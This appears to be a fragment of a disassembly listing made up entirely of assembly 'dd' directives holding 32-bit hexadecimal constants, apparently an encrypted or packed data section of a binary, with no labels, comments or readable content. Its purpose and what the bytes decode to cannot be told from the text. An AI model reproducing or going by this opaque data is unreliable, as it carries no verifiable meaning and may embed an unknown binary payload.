		dd 676B40F2h, 0DAEE1DDh, 0C9CF479Dh, 0EFFC69D0h, 409313BFh
		dd 688222A2h, 0AEF57748h, 6AC5E552h, 62532ECCh,	0B53B3CB3h
		dd 0FA689700h, 0A955AA58h, 43CAFF03h, 9760947Eh, 27AD722Dh
		dd 2DF4BAF2h, 29FD9927h, 7512FB2Bh, 0E982A0ADh,	2FCA94A4h
		dd 0EF78B075h, 0A7BB8055h, 0F8E82C12h, 3A823801h, 59211BDAh
		dd 9FA8677Fh, 3310B5ECh, 37BF345Bh, 288AE204h, 17AE754h
		dd 0BCE0E9E6h, 82A3E72Fh, 5A33CAE9h, 3CE00F02h,	8E643A71h
		dd 93A4B2E8h, 0A0106CACh, 0F18101B7h, 7FC002DCh, 6E2D5121h
		dd 5184EA0Fh, 530F7E47h, 1902B1E7h, 154E6CC2h, 88B0DC03h
		dd 68046BA7h, 68EE72BAh, 0BF425715h, 4C2BB85Eh,	0A0A95EB4h
		dd 10FCBDC0h, 0C09F3930h, 1328B9DCh, 72C6CFEFh,	3CD845D0h
		dd 76867497h, 688BE925h, 1351EECBh, 85F7113Ch, 60B0056h
		dd 91C412Ah, 0B7E9C70Bh, 0BF4EC625h, 0BD656FF1h, 0E9B06A58h
		dd 101769BFh, 36037929h, 0B72E3962h, 0DFA5C95Dh, 308A22CDh
		dd 0EB8CA96Fh, 60AB1538h, 8C0F3A81h, 0D6B9FB2Ah, 317EF162h
		dd 480F3EB6h, 4E80E248h, 21147F53h, 40996295h, 1D34B81Bh
		dd 0BC0157AEh, 5508A27Dh, 0E069AA71h, 0BB2B3590h, 7F0F0249h
		dd 5BF577D8h, 0CA4C2CF6h, 25F02003h, 0E257755Dh, 508CDF3Ah
		dd 8898020Ah, 0EFFA8B14h, 39EF7FC1h, 3EF10522h,	0B2EB4AF4h
		dd 0CDF502BFh, 0CB68092Dh, 0DA6AF1D4h, 2759DB24h, 267EF187h
		dd 76CFEEAEh, 40E6B00Bh, 2D7EBF59h, 147EBA3Ah, 5D142218h
		dd 0F4744E68h, 0A2412617h, 0F78F096Dh, 31068A3h, 599F2718h
		dd 1EC5807Ch, 12EC2858h, 0FACDEF30h, 44AEE444h,	0CC1236BAh
		dd 0B9015162h, 34AC6B83h, 0B8487BFh, 0D559CF31h, 0BDDA3E1h
		dd 0A0EB1BE9h, 20B5E546h, 54556DD3h, 2BF1ECC1h,	89720B17h
		dd 8EBB8400h, 0A0AFD29Dh, 9259CA6h, 0CB292A92h,	2C08D208h
		dd 1B01C930h, 6B0F7637h, 7D40ACA5h, 4EFD97E3h, 0F828132Ch
		dd 13940F03h, 64E944FEh, 874FF6D0h, 56C7A1FDh, 20F92901h
		dd 5CB59FA8h, 78FD40AFh, 77FA7357h, 1ADD9CBh, 61DE6899h
		dd 86C70D38h, 4F09BE70h, 254B1000h, 5490017Bh, 5143B702h
		dd 40DF295Fh, 7F603AC7h, 0BE924D2h, 0A4509680h,	372F68B5h
		dd 0AF937143h, 555AC57Eh, 74C90AD9h, 3968E118h,	28312E4Bh
		dd 0F20747F1h, 0CA4003E5h, 0D7A876B2h, 0A8B92D63h, 3FB25664h
		dd 2D67E982h, 26874C57h, 8F45D54h, 0CA24A82Eh, 0BEAC0A08h
		dd 4BA5BC05h, 0CD21F1CDh, 10D369DFh, 124B3F51h,	0E90EE27h
		dd 487E022h, 0E9FB3135h, 4B29FCFCh, 30D3CCAFh, 0F2A3954Fh
		dd 0E42CBE97h, 0AF0E05EFh, 922AE916h, 36C80981h, 2AC02FF1h
		dd 0E8A062B9h, 0BDFEF494h, 0C2D5BB0Bh, 5A64638Bh, 0A70DAC34h
		dd 391CDE3h, 4F92EE1Dh,	0C0B0301h, 5D2531B3h, 0BC6C4C04h
		dd 6DAB4EA3h, 0D1A73F94h, 5125E93Ah, 20DA681Bh,	25206555h
		dd 4BF265DFh, 0F9DECC04h, 820F04B6h, 4D1F81A3h,	22571862h
		dd 2C5E0E48h, 68514419h, 0DC8426ACh, 881D1271h,	6D2149CCh
		dd 132503EAh, 0DA29726Fh, 5B089A40h, 2477FF16h,	1F2ECCEEh
		dd 4CA5D4Ah, 728CEB00h,	0D3295C71h, 8BA5228h, 0B706E912h
		dd 23802294h, 0F837B663h, 2436B2ECh, 3EB057ADh,	8FB02814h
		dd 115CF50Fh, 0DFE922C1h, 0CFBF53B8h, 29853CF8h, 0C19225F6h
		dd 64BABB04h, 0FDFC697Dh, 5EB844Fh, 0FEF0E90Ah,	0A2FAB412h
		dd 95E9B026h, 0EE25C054h, 144D61A0h, 0E792FCA0h, 4EFC595Bh
		dd 0E832D204h, 5563C069h, 25F4820h, 0EC4FECACh,	46C010F5h
		dd 5CABB4Eh, 0BFC0344Fh, 0E9B9ACB8h, 9F377F70h,	0DCF1B694h
		dd 569F1962h, 68DE8113h, 22A87BA7h, 7B0A499Fh, 426F7CB0h
		dd 472A221Fh, 1D73168Ch, 406F98DDh, 8B1A0F0Dh, 0DD50CD45h
		dd 4DC7BB18h, 8F8521C2h, 0EF989069h, 569106C1h,	5184A3E9h
		dd 0F28AD809h, 0C440065Bh, 3436904Ah, 0F20CD22Dh, 59247AE9h
		dd 0DFAFED5Bh, 0C6A5C521h, 46C53FD3h, 85C5A561h, 79495702h
		dd 3FF8625Fh, 88A8FB03h, 4360ED80h, 0B652FF06h,	62A490C0h
		dd 0B2CB1D86h, 2497F8C1h, 26403890h, 95C65668h,	5599885Eh
		dd 28130DFCh, 88D84AEEh, 44450BCDh, 0CDD77933h,	1ACD0246h
		dd 9F96795h, 64115116h,	504F26D9h, 65C5930Eh, 75EF012Fh
		dd 0EACE0021h, 23B5FE4h, 0DABA5B4Ah, 522A60B5h,	0D35DAE1Ch
		dd 0C944FB0Ch, 0A2C2C201h, 2A79AA4h, 15817CEh, 4956D689h
		dd 57B9083Ch, 37F96DD7h, 3A7655C6h, 4D79BA01h, 0DAF73AC5h
		dd 0FB1FC07Eh, 264ACE11h, 0D688E718h, 3AE8248Ch, 505A04D3h
		dd 3769885Fh, 0BD1358BEh, 0A8CC59ABh, 0FA0500B1h, 3EF0FA19h
		dd 0B216C531h, 0C0B3ED72h, 9151E1BBh, 38E0B52Bh, 0E65F0703h
		dd 0F42082F1h, 3BD59EB0h, 93A4B0CAh, 5520A441h,	96E1820h
		dd 7D69B443h, 4251221Dh, 39A5E2C1h, 0D18E67AFh,	0BFE1C266h
		dd 6F52E3E9h, 10A03350h, 6802E68Bh, 542D70D6h, 1A1104Ch
		dd 0CFEE2006h, 91D347Dh, 36158C0Fh, 0BA1D10A2h,	4CCF2575h
		dd 988322FFh, 0C3F4D615h, 2012AB0Eh, 0E8CA5F54h, 69D3F85Bh
		dd 0EB970035h, 9045BC54h, 7CFB262Ch, 16552DE7h,	413BEFEh
		dd 0A9382E49h, 3B08413Bh, 0E912338Fh, 465D4C42h, 1A94D5D0h
		dd 312BC427h, 0C69F793Eh, 16582601h, 7301C488h,	0BB18BA5Fh
		dd 0BEE1853Fh, 0A1165E8Bh, 0D6DBAC0Bh, 410AE10Ah, 0A75C008h
		dd 389FE09h, 0C62EA2E6h, 8F02DE73h, 0F702C75Bh,	0F48E60DEh
		dd 0D6D99D0Eh, 2C23E430h, 0FE667790h, 0EF01B5EEh, 0E1DCEA80h
		dd 0D411AD29h, 62834339h, 0D995A9CFh, 0B2F25216h, 12558C0h
		dd 0E126C11Dh, 990B9E08h, 0CAE8754Eh, 1DBEDA83h, 37EF8A0Ch
		dd 887C3BB5h, 3F84BED8h, 0A86F2D6Bh, 650EC790h,	90EE1BA5h
		dd 7E9AEE97h, 0A9C5E45Bh, 4BB68BFAh, 901A99E9h,	51F5904Bh
		dd 4D7D427Bh, 7367FE7Ch, 25504619h, 0C013846Dh,	0B9F6E7DAh
		dd 0C9627DDAh, 0CB796189h, 0A6BED36Eh, 68580505h, 20A77908h
		dd 2F8A9F1Ch, 35FB975Dh, 0ACA6FB53h, 714B1516h,	33AF21AFh
		dd 9B0E5090h, 5E57A840h
		dd 62EEB85Dh, 9A6D516h,	24233900h, 297F3E1Bh, 65709AFAh
		dd 0DF9566E0h, 0D995E49Ch, 48EE8012h, 0F2EAC7Ch, 0C215892Fh
		dd 0EBCE7F26h, 1392C026h, 9FF720BDh, 5D97655Eh,	0F94A000h
		dd 9A456C4Dh, 450B039h,	1C273B6Fh, 92ADAE31h, 86DEC18Bh
		dd 7A3F0CB0h, 0AE035CF1h, 19E02471h, 0A0DE9800h, 1C627541h
		dd 0F6BA9BB6h, 2E5046A9h, 2F9C1159h, 0F3308B8Fh, 0AE302742h
		dd 399D61B3h, 0E960541Bh, 8858C0A0h, 50525BFDh,	0F9FECEAh
		dd 171656C1h, 0A4CD50D9h, 4A35538Dh, 0EDC92F3Ah, 86BDB93Eh
		dd 902523E9h, 456709E3h, 0B7EBA06h, 8C90DF25h, 915B41E9h
		dd 5327D1B2h, 0E94171F1h, 0E32B339Eh, 0C65C89FCh, 18C69FC7h
		dd 7B4E8AB0h, 0E8C1B2C0h, 5A3BF005h, 3AF1C99Fh,	312FEAF1h
		dd 2AA6AA72h, 8143F9C8h, 0DFEBF158h, 0CCBB0C07h, 31D13754h
		dd 1205BD9h, 0ED5D17C9h, 0C237017Bh, 4770C605h,	3F2BFE9h
		dd 0CCFE1617h, 4D7771C1h, 3832F4D5h, 0D617B52Fh, 2D305CC7h
		dd 0D0E9312Eh, 0E6A49589h, 6ED6BAC6h, 321AA60Ch, 0EFEBFED9h
		dd 299804E3h, 3C50766Bh, 0DBC695DFh, 602CF301h,	0FAB9F733h
		dd 22003218h, 20FFF181h, 1749117Ah, 4B9E60E9h, 40FAC7E2h
		dd 2DC4964Eh, 8DB00EFEh, 0F55E2239h, 0B9E434A3h, 6F3D5CE2h
		dd 3062516h, 0C91CBD40h, 0C12B7625h, 0A4DDF701h, 4801EC0Bh
		dd 52759A01h, 4EE1AA69h, 32AE2EA5h, 5B23D84Eh, 0D653D268h
		dd 7A6EE9E7h, 4D3FBF00h, 4AE91197h, 41A49D67h, 2F3DA1C3h
		dd 0FB43DACh, 0F7C06D80h, 5BFC307Bh, 101C085Ch,	680E9D5Fh
		dd 27E9337Fh, 7FC46D91h, 8B3FBCA1h, 8C2C7FC8h, 8B67B60Ah
		dd 0EB526539h, 0DF1B3969h, 0D3750987h, 34502D0Eh, 60AE79B7h
		dd 0F576866h, 8B9ADCBDh, 0FD4425F7h, 3D0C20CEh,	267A92Eh
		dd 0F71A0B9h, 9A41AB8Ah, 25F097B6h, 92B1CDC4h, 5830A51Eh
		dd 0C5B707EBh, 63978B85h, 80DFC5FDh, 15741BBBh,	0CB326839h
		dd 0F55C4909h, 0A7893DD9h, 9D51D1EDh, 0BBE465ABh, 0D8BF564Eh
		dd 0D25EE973h, 98208817h, 4AF8D636h, 524280E6h,	0EF27E953h
		dd 0E1D0D49Ch, 8C44AF68h, 0D1931389h, 612B17EEh, 872AE017h
		dd 0AB8F0324h, 881E5A8h, 806CF1E9h, 0A379F1EBh,	7D010D0Bh
		dd 90B24ACAh, 194EBA5Ch, 987E9330h, 6DCE3577h, 7A04AA1Ah
		dd 8CA7D844h, 1BABCFAEh, 9866BE98h, 0D943D1h, 32CE813Bh
		dd 4E0D0463h, 0EE2280B8h, 1271BF87h, 16DFA98Dh,	0EA04BC7Ch
		dd 0AE26231Ch, 0E64B30CEh, 74FB5A13h, 3950C2C4h, 78B514D8h
		dd 9552FC14h, 96BFCE76h, 0AB49F4CCh, 1BE8FDADh,	23B59AAAh
		dd 922B6012h, 25D4752Ah, 7716F689h, 495D7D1Ah, 913259EBh
		dd 68E1F707h, 1A671C2Dh, 0FF44EC41h, 843949AAh,	407F6362h
		dd 0D946D2DFh, 2A77EF7h, 0BDAD409h, 955D48E6h, 0E3A31C2h
		dd 81ED80F8h, 0F696C0F3h, 6949F8A0h, 0C2F518C9h, 1C82DF48h
		dd 9B5DABDAh, 761410CBh, 0A267FEFh, 0F1803EC5h,	66CB28B9h
		dd 0F2E3E859h, 0A96BFFC3h, 8D824076h, 3D765276h, 4A4FCB04h
		dd 3C8372B9h, 1A47B802h, 0E06322E9h, 3719CA04h,	2F8075A0h
		dd 4E0B6A35h, 675AA041h, 76956570h, 9640C256h, 0B11EA266h
		dd 0F2CB8054h, 201E5008h, 94B061F6h, 6978BA34h,	89DBC8AAh
		dd 2717E1BCh, 595B1B45h, 0BE3BA139h, 0C80A544Ah, 0B05B5BAh
		dd 0E2512609h, 32EB663Ch, 0E09B15B0h, 3C99D841h, 9EBE4AFEh
		dd 0A2875F23h, 0B5C758DBh, 68E1D2F9h, 95053E9Dh, 2746AE20h
		dd 52D9221h, 344E38E2h,	62C01A1Dh, 0D7052FD0h, 89EACBB4h
		dd 0DB47AB05h, 0CDC43FACh, 0E4EFB83Ah, 42CBDA00h, 0B2DC0E3h
		dd 3A901923h, 702C6C2h,	0D55CB5E9h, 6884152Ch, 0DACC604Ch
		dd 10EF257h, 5F7CFE36h,	3A53A4E9h, 0DBC645A2h, 46094686h
		dd 5635CEE9h, 0CC808776h, 0B0604BF9h, 633B2C38h, 7CE90232h
		dd 428B4D6Dh, 0D9B793BDh, 213AB7FAh, 45E16810h,	61DBBECAh
		dd 4464624Bh, 4D6A897Fh, 255EA659h, 570989D7h, 0ECEAE184h
		dd 255B3B60h, 0C0820155h, 0A6208E8h, 59FEA518h,	6D24E6F3h
		dd 0C1081972h, 385E1447h, 0EE3645A0h, 0F35AB5h,	1684BF57h
		dd 0FB216076h, 8B8CFBB5h, 0B2550EB1h, 1D7E5EEFh, 424ECCDCh
		dd 339C3A24h, 14ADB28h,	540CC0FEh, 0FA2A8E0Fh, 814A824Fh
		dd 0A83FEDE1h, 34BEF411h, 33C5AF7Dh, 3E812934h,	60226142h
		dd 2F39F207h, 4FC9B214h, 6E1B17Dh, 0AFC0842Bh, 3FA96DECh
		dd 0FCD6E4A9h, 26E81013h, 51B2BE02h, 547D7567h,	2F250E0Fh
		dd 0FB029E10h, 0D708CF6Eh, 55004666h, 583EF9BDh, 0BE58154h
		dd 166A655Ch, 0C51E82D7h, 0B3E574E6h, 0DDD25AB4h, 5D9F73D8h
		dd 759D44B4h, 2B98E714h, 675F90Bh, 43C87D57h, 0C54CB450h
		dd 60A550A5h, 126C159Ch, 0C7418220h, 5AF27C05h,	0DE10EBBCh
		dd 0B8054E1Bh, 5DB40D29h, 0DAEC95AAh, 6CFAFAB8h, 12245F4Dh
		dd 38986777h, 0D712D16h, 0C32D2870h, 0FD16FD8Ch, 146545Bh
		dd 7BE93D76h, 0B36F2594h, 5E6170E2h, 0CBC82A93h, 0F6C64F7Dh
		dd 0D828C4EEh, 0D24AF4FBh, 35245A4Fh, 0F1255FA9h, 0C30F8E84h
		dd 0E9185406h, 8B17FE9Bh, 0E402448Ah, 168C804Ah, 0C38AB607h
		dd 0B7874D9Ch, 203AD12Dh, 56A630A6h, 56FE6BFh, 4F2273C7h
		dd 71C2EB1Dh, 9D7370D8h, 391EA7DBh, 8D721A1h, 33128C43h
		dd 2CD28AFAh, 9CA6C872h, 55BB83Ah, 5A668C8h, 70B696CCh
		dd 5AF00C4Bh, 0E9083059h, 0B083655Eh, 0E03EE0B8h, 0D0AEA844h
		dd 686680BFh, 280E053Ah, 0C84A4489h, 53CBF3BDh,	519E7B79h
		dd 69E75127h, 0DAE71082h, 5EE3EA0Eh, 0F1966A09h, 8A173C0Ch
		dd 0C67B41AFh, 5158D568h, 3B740DC0h, 524F8A9Ah,	868AFE33h
		dd 38C3EE03h, 54785E9Dh, 580842E5h, 41E95D90h, 0C423254Dh
		dd 0D2A30695h, 869F853Eh, 68944A75h, 5DEF89D3h,	7B25E2D9h
		dd 31F36F87h, 557B86Dh,	718BB1A0h, 2D7F5C79h, 9982B10h
		dd 0DE685BE9h, 0B1F8891Ah, 0DA11BBDDh, 129D6A9h, 0DE556DBEh
		dd 5AF97048h, 25850F80h, 4BDA7DE4h, 20620858h, 53F5A17Ch
		dd 5C1B403Bh, 30DDB050h, 462D0098h, 81C2100Dh, 785609F6h
		dd 0F504358Bh, 7CACAAF5h, 3B41A3F1h, 5D3C41B3h,	8C655E7Ah
		dd 507D4A5Eh, 48498E2Ch, 7A34F6C1h, 41C25C60h, 18E07E39h
		dd 0F2B0E6h, 51F5291Fh,	0EA194FB9h, 49E96709h, 5735A6Dh
		dd 0AD5D3FEBh, 9450EB70h, 9F1C6008h, 9D7B6041h,	76020DD3h
		dd 4067562Eh, 0B6E7110h, 0D6F72B5Bh, 0CB08DF9h,	5E8A313Eh
		dd 98EBB387h, 1278516Ch, 0A8F2CCCh, 0BE822154h,	0F5F6EFA7h
		dd 5FFE8786h, 4EE91681h, 7D28EF92h, 6EBA0552h, 0C233102Bh
		dd 400C7A54h, 0E1C01958h, 0F9020604h, 293E640Bh, 0C42D24B0h
		dd 8B867961h, 0A8F61BE3h, 8927B450h, 8960A1Ch, 0C22261E4h
		dd 0DD0962EEh, 88E801D8h, 442593F7h, 86321276h,	519E08C4h
		dd 0A7249B28h, 9A8C6154h, 0B5280A40h, 423A2DD8h, 8A884F45h
		dd 0DBF602BDh, 9DAB820Fh, 3036E47Fh, 0B3455E8Fh, 0D9618A2Ch
		dd 0BC6178A2h, 0F8D1A9F7h, 0B9C58592h, 0CBBF4BCBh, 20E91220h
		dd 0F7B93649h, 54BE2Bh,	8A1C820Ah, 0EB54F199h, 7E628C78h
		dd 9457DF97h, 12CB2069h, 0D8939FA3h, 0DF4B0825h, 8E01BB92h
		dd 760C6E68h, 5425270Fh, 5E53A5C3h, 0A538DBA1h,	0D4E4778Ah
		dd 5AB36225h, 1A6B38FEh, 0D064EB5Fh, 408029FFh,	83764F21h
		dd 62E2FCE7h, 78343F01h, 0D18A870Fh, 0E976DC6Ah, 0F6670A6Eh
		dd 55022605h, 7969ABEh
		dd 2768515Dh, 5937DA10h, 86E92753h, 549709F0h, 47ECF8BCh
		dd 8BF82EE1h, 51086CB6h, 2FA844E9h, 0A0280856h,	4000F5E4h
		dd 0E9F80199h, 9DFF47D4h, 25703E7Fh, 0CC01CE9h,	3D0078B8h
		dd 9F0D7D15h, 984C1E35h, 0B314A91h, 0D9DABDDDh,	4E6E8948h
		dd 0BE79FDB8h, 88EAC07h, 6C285465h, 283F3320h, 7BB7F901h
		dd 0B7B97B86h, 0E29BB4E3h, 7BF2B802h, 78052F46h, 5D7FD63h
		dd 65A2116h, 77E4AE1Bh,	0F432182Ch, 60360C22h, 0DB271427h
		dd 56B0890h, 6155DAB2h,	0B73B267Ch, 52F69E8h, 68BC0A1Bh
		dd 0F35B31C4h, 7CE21297h, 1910CEF2h, 86566570h,	7E05E2AEh
		dd 5BF21849h, 35C8EEC1h, 0B039AA04h, 5B88E120h,	7537B8C5h
		dd 2ABAF34Bh, 7CE9097Ch, 62587E0Ah, 0BB057548h,	201F0EC1h
		dd 1344DF30h, 0ED576706h, 28DB0166h, 0D90111B0h, 0B5A72C38h
		dd 93CD01C1h, 5648F82Ah, 1E0112B6h, 817D453Bh, 7AD0BCEAh
		dd 8E0CC06Dh, 0E9FE0E5Ah, 44AAB331h, 8305456h, 1500BD11h
		dd 0B44B93B9h, 232E2E7Ah, 97438D4Dh, 81C0C96Ch,	0D44C0A22h
		dd 4051D212h, 384CE3B5h, 0F1309B5h, 1B14F80h, 84B1A67Ah
		dd 639862A3h, 0F6435B63h, 87772E2Eh, 0E1ACE544h, 0C7C65C0Eh
		dd 8C5619BFh, 90B382D2h, 7E55661Eh, 0BD94208Fh,	0FDD220DCh
		dd 0CBA598E7h, 5D1982Ah, 210311ECh, 91ED4BE8h, 0A545A0F1h
		dd 826CF58Ch, 9F1C1894h, 3DFB4F38h, 7E304DBFh, 407D92BDh
		dd 5CBD293Dh, 627763DEh, 9B594AE2h, 0C0130146h,	6367ED06h
		dd 506AE919h, 0D5270B49h, 2774A8Bh, 45CD061h, 3520BF5Fh
		dd 3D49B205h, 0FA04702Ah, 0BA0C4ECAh, 2EC3DB81h, 582D9D7Dh
		dd 0F48A080h, 0B5248Eh,	2B8A357Fh, 890215C0h, 1ED650C6h
		dd 0C927013Eh, 0B9022D66h, 0F0019D4Ah, 0B243800Bh, 0D7E87FF8h
		dd 0A52648F4h, 8C3E900Ah, 0CE428D6h, 76431699h,	0E3CB077Ch
		dd 1A01A971h, 3A5BE786h, 0CFA119FCh, 9603C278h,	0E38F005Bh
		dd 21FE2A03h, 8E5F840Fh, 98BA2084h, 0CB4A9F72h,	0FCC5B6ECh
		dd 24AD03h, 930267Ch, 0E368E581h, 386A58D9h, 944AE9A5h
		dd 3ACEDC4h, 6AE7B1h, 38008B7h,	0FC889DC7h, 0F1C9535Bh
		dd 0BF1D7066h, 0E917DCE0h, 0A0208224h, 4CBB6E5Eh, 87336944h
		dd 9C853F9h, 4D01F210h,	14A4CB81h, 0C813C5Ch, 22D01635h
		dd 4BB120C1h, 3401F3F4h, 98B8696h, 0AB205BDDh, 8C224A90h
		dd 2E5BB2CDh, 4D813AD8h, 0DF8EB407h, 306F89B2h,	0EE521223h
		dd 52704A6h, 0D2FF3757h, 0F9555E95h, 2EA650Dh, 27EE915h
		dd 144A33F6h, 52A0100Ch, 0E8ED3980h, 1862EF99h,	4C093B39h
		dd 9401FE59h, 1E2EB510h, 99421AF1h, 7AFDDC58h, 65EADD85h
		dd 150998Ah, 7EF77D80h,	0A97A1BC9h, 1FB7BDAh, 77DC16B2h
		dd 93ECB10h, 3B926E6Bh,	0A2D2AF9h, 0FDA56766h, 4FBF6745h
		dd 0F4D8BFB5h, 0A48970Bh, 899A63BFh, 66DCA627h,	802E4AD0h
		dd 0FBFBA62h, 98CBF098h, 75217F99h, 0C7602DFEh,	0B48E95D7h
		dd 0CD4575DDh, 523B273Fh, 5E57D5CCh, 4C5D46DEh,	467D0A2Dh
		dd 54512D64h, 83D0121Ah, 0B03BE5B5h, 1629EC18h,	0ABD4404Eh
		dd 0E5B080Bh, 432073BFh, 5E071317h, 2F76E8B3h, 0FF27E273h
		dd 0CB2D744Dh, 0A3C134Eh, 1622167Ah, 36190A34h,	2728A69Dh
		dd 2E5928E1h, 6910D5F6h, 3F65E40h, 8E891A58h, 0AD485150h
		dd 0CAA91327h, 43CBA54h, 2B89C301h, 0ACAE81FFh,	0D9F1353Ah
		dd 0B2013F57h, 806DB151h, 5B2C4CFCh, 74DCACB9h,	455E5977h
		dd 25F4A8B8h, 0AFF21306h, 0C8A7316h, 50AAB50Ch,	51B45E7Ah
		dd 7CA90243h, 55BB2D7Ch, 892498E4h, 0B05E9CEh, 0CE83F16Eh
		dd 5ACF178Dh, 82F4D531h, 3C52393Ch, 890F0604h, 3F881B6Ch
		dd 436D013Ch, 88C7211Ch, 0D65D6CE6h, 5D01C8FDh,	0DEE91261h
		dd 0EDD18B80h, 2D25D6D5h, 5BF7EB62h, 9EF2A568h,	984FD520h
		dd 0BDD9989Ah, 224A0146h, 0F85304D1h, 20BB2D00h, 51109203h
		dd 0B1378DB9h, 507C0925h, 2E3E417Ch, 0C1042FA9h, 0C32C020Fh
		dd 4D122AB8h, 62E279B7h, 37973712h, 2B44F3EFh, 8CAF2918h
		dd 5B3F3CFh, 21278F12h,	0A42DEFD9h, 9002B47Bh, 7932D45Ah
		dd 6BCBFFEEh, 0CAFFC6B2h, 84FEC177h, 12C38F2Eh,	0C8C0153h
		dd 5F1740AEh, 7FD12137h, 0D8A936B5h, 0AA27F517h, 5A55CB04h
		dd 0C006A2EFh, 2D7239C5h, 90B29029h, 0D62754C9h, 453F2D68h
		dd 2460ED1Ah, 595E23A0h, 0F712C0FCh, 80ECE9D9h,	380B49FCh
		dd 0E7D6FC96h, 95355930h, 1D92F8FEh, 4943FFCCh,	4280625Ah
		dd 0C2E969B3h, 58144CBEh, 749A2DDDh, 9DFE40Bh, 8B33593Ch
		dd 1CD497ECh, 0D432FDC2h, 53366523h, 57F802F4h,	50DF942Bh
		dd 868734B8h, 3BC4FF5Bh, 8FC0A595h, 3A5441F2h, 4F818167h
		dd 2109D40Bh, 0E7C8FFD7h, 0A92455C7h, 0E500290Eh, 2DA545EBh
		dd 60300227h, 5F8294Fh,	0C4E90781h, 23DC3F59h, 9A9BC58h
		dd 7352E8B2h, 6D07705Fh, 7282CCB8h, 3238DD12h, 3F49CD68h
		dd 90321747h, 8825B140h, 906D0F73h, 0E4572025h,	680641A0h
		dd 61CD185Fh, 0D4BFA06Fh, 2BC92000h, 0FF6EB81h,	13477321h
		dd 0EFA7FE8Bh, 0CF01027Dh, 757B85D5h, 0D0ABFCAh, 5C9AA947h
		dd 0DF8A5F2Eh, 36BA8303h, 0BA204115h, 0F5948A39h, 0F184DFAFh
		dd 75CD142h, 20B9138h, 0A752FC4Fh, 6295FCE5h, 573DEBF9h
		dd 0AFFBD412h, 0FA1D3A66h, 3BEF9628h, 1CC7C526h, 9A572D53h
		dd 0BA29DE1Fh, 0E91810A0h, 0F14F88D8h, 81493A5Eh, 712FE63Eh
		dd 354DBA40h, 0CBF06467h, 2E4C0CB3h, 0A724F7B7h, 4A7F1655h
		dd 52354998h, 80B250A8h, 1E0F810Dh, 2DF0F714h, 6B29AA09h
		dd 1870431h, 0C0660Ah, 91B45051h, 5F9842B1h, 0D3B3A34Ah
		dd 93431B2Eh, 5387BFBDh, 1EA091A5h, 0FFD905Ch, 5B010BFh
		dd 0B0A93A89h, 86A26365h, 1F91737Bh, 0E37BE986h, 610D0C30h
		dd 0D6C68367h, 92E27A5Ah, 0F18E5C96h, 466BC94h,	0B85BA6A3h
		dd 0C181C043h, 4E86514Eh, 4ACB52Bh, 3291BB08h, 0F004B3Bh
		dd 84418982h, 0A577B27Fh, 0BC915100h, 25E9F915h, 24C457E3h
		dd 68565007h, 58F90F6Fh, 6BEE340Ch, 0CE85AE0Fh,	79999601h
		dd 0D7451DBFh, 0E3ABE095h, 98E983E1h, 0B2234FD0h, 0B5CB5B10h
		dd 22642E6Bh, 0D59B25E3h, 2D9639D9h, 1FE65CC9h,	0AE5C83Ah
		dd 6882FD25h, 5C043678h, 942DFAAh, 744FEC68h, 0B0167D0h
		dd 0FE6212FEh, 626B099Fh, 6F41D9CFh, 8A876029h,	7E60FA41h
		dd 0BEED4017h, 8E26CF00h, 35F68150h, 7430574h, 400F6368h
		dd 6D4CBA36h, 811F2AD1h, 0A6C975E2h, 0BED20631h, 8E0F0975h
		dd 0F5119D51h, 8CAE05ADh, 0B9045FAFh, 759B76BCh, 4D48CDACh
		dd 2499C804h, 9F3880EAh, 140CE80Fh, 7E8F4DE9h, 0B72D0348h
		dd 3538B168h, 56D68CB8h, 0CC9908BFh, 0CB09761Ch, 27277023h
		dd 59CB3073h, 0C12D4CFBh, 13FBE2h, 0A92FB5BAh, 0CA04817Ch
		dd 69C57A85h, 479C8E8h,	0A012C4C2h, 0A2F9EB84h,	7314A7DFh
		dd 38F7B8C1h, 0E5F011AEh, 0E03A3C41h, 0CD9D453Bh, 62530961h
		dd 37F7D500h, 0EAB0545Ch, 4FB55E09h, 12A274C7h,	2CC2C57Ah
		dd 88255379h, 83405DE3h, 0B509515Bh, 4EC2801h, 1312A3C4h
		dd 0A41CBC24h, 94772327h, 0A62CE803h, 8F7BB72Bh, 149F16A2h
		dd 0C1984FFCh, 20465A2Fh, 2417A8C1h, 0F13269Ch,	393BAF07h
		dd 0C50410BFh, 0BE49EC0Eh, 422505E5h, 305F28A7h, 12196BC9h
		dd 0AF012BBBh, 0C044964h, 43CF5B5Ah, 1C870209h,	0D250D5FCh
		dd 1D4EBF34h, 1088515Ch
		dd 0E85B3FE2h, 0FC7DE9D8h, 0D24EAC48h, 79435D8Eh, 2565A0F5h
		dd 7C7F3425h, 0F76F08ECh, 6D546805h, 567D60AFh,	261BFBBEh
		dd 0A0707634h, 18649837h, 2C13F4E9h, 0C30F8058h, 64DE2060h
		dd 0DA92591Eh, 4F2151DFh, 0FE750B72h, 0A5BC8AAh, 3BE4202h
		dd 6D526B25h, 22EA2BF9h, 0E0A00BFh, 3BE10F7h, 3B132F66h
		dd 0F1954444h, 8F68E106h, 0D1635502h, 1AB6F4Bh,	0CD40CA01h
		dd 7D852141h, 3B4B2670h, 34108B7Bh, 78B3B664h, 871C8804h
		dd 2F62CEFBh, 0EBB9D433h, 757AA802h, 4C0F26A8h,	201719DAh
		dd 45BF5FC3h, 0B40AD470h, 9BF00229h, 864734FBh,	522E0396h
		dd 76345727h, 39BA1695h, 0A3DE315Ah, 0A9D32756h, 0BDA9F41Ah
		dd 14B54918h, 0C793FA88h, 0A420953Eh, 3E53516Fh, 58C3CE40h
		dd 640F5CBEh, 0ECDE668Fh, 1EEB026h, 75DD2563h, 164A80E2h
		dd 0F0C37457h, 87E53CE9h, 0F5A23578h, 0EE2E35h,	4D842364h
		dd 0CAF1C501h, 5AFE088Bh, 0CF657F5Ah, 1FD60A88h, 103B1BBh
		dd 0AD613FDEh, 302E0DC8h, 0A077532Ch, 0CB813201h, 6D031596h
		dd 0C3ABF48Bh, 136455FEh, 9A7D78FCh, 98EF00B3h,	0F705633Ah
		dd 0C12D68D7h, 9703D931h, 0D26287AFh, 6DEC3623h, 1A87692Dh
		dd 919F4352h, 0CCD45AF1h, 805B0F59h, 0E68A57C4h, 0AA6245EBh
		dd 2EB42816h, 10746664h, 2D07D95Fh, 7DD1313Fh, 7EA832E2h
		dd 685280B0h, 4B4602E7h, 72C55A48h, 4D33610Bh, 0F4220850h
		dd 0BAE98CBEh, 5BF736F5h, 105CB3D2h, 5E25EF20h,	0B4959AD8h
		dd 586812B8h, 0CE2CFB7Dh, 0AD66D601h, 0CF7E1612h, 26778AFFh
		dd 5C94E667h, 0C2D22F7Bh, 0E367D510h, 0AC7DE905h, 3DCEB245h
